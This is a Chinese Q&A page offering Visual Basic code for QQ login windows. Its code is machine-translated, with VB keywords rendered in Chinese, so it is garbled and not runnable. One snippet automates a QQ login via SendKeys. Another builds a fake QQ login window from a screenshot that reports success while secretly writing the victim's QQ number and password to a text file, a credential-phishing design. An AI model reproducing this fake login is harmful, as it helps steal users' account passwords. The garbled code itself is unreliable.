vb做一個注冊登錄界面 VB制作QQ登錄窗口教程和代碼?
VB制作QQ登錄窗口教程和代碼?“模擬鍵盤按下私有子命令1單擊()Shell ”C:ProgramFilesTencentQQ QQ.exe“,vbnormalfocusdimlongtimerasl
VB制作QQ登錄窗口教程和代碼?
“模擬鍵盤按下
私有子命令1單擊()
Shell ”C:ProgramFilesTencentQQ QQ.exe“,vbnormalfocus
dimlongtimeraslong
longtimer=timer
dountimer longtimer>=5”延遲5秒,sendkeys必須等待QQ窗口打開
Doevents
loop
sendkeys“{tab}””等價要按alt[tab
sendkeys“52051459”
sendkeys“{tab}”
sendkeys“password”
sendkeys“{enter}”
endsub
首先剪切一張QQ登錄界面圖片,然后將其加載到表單中,在圖片的文本框位置繪制兩個文本,在登錄按鈕上添加標簽,將邊框設置為2,如果Text1,則編寫代碼private sub label1uclick()。Text=“”則msgbox“QQ號不能為空”elseif text2。Text=“”那么msgbox”QQ密碼不能為空“else msgbox”登錄成功“open”C:密碼.txt“附加為#1打印#1”,QQ號碼:“Text1。文本打印#1,“QQ秘密:”文本2。Text close#1 end IfEnd“主窗口是form2,form1是登錄窗口,上面有兩個文本和一個命令控件,private sub command1uuclick()static n如果text1=“119”那么如果text2=“911”那么form2。顯示unload me else msgbox“密碼錯誤!“Text2=”“Text2。Setfocus end if else msgbox“用戶名錯誤!“Text1=”Text1.setfocus end if n=n 1 if n=3 then unload me“錯誤次數(shù)3 end Sub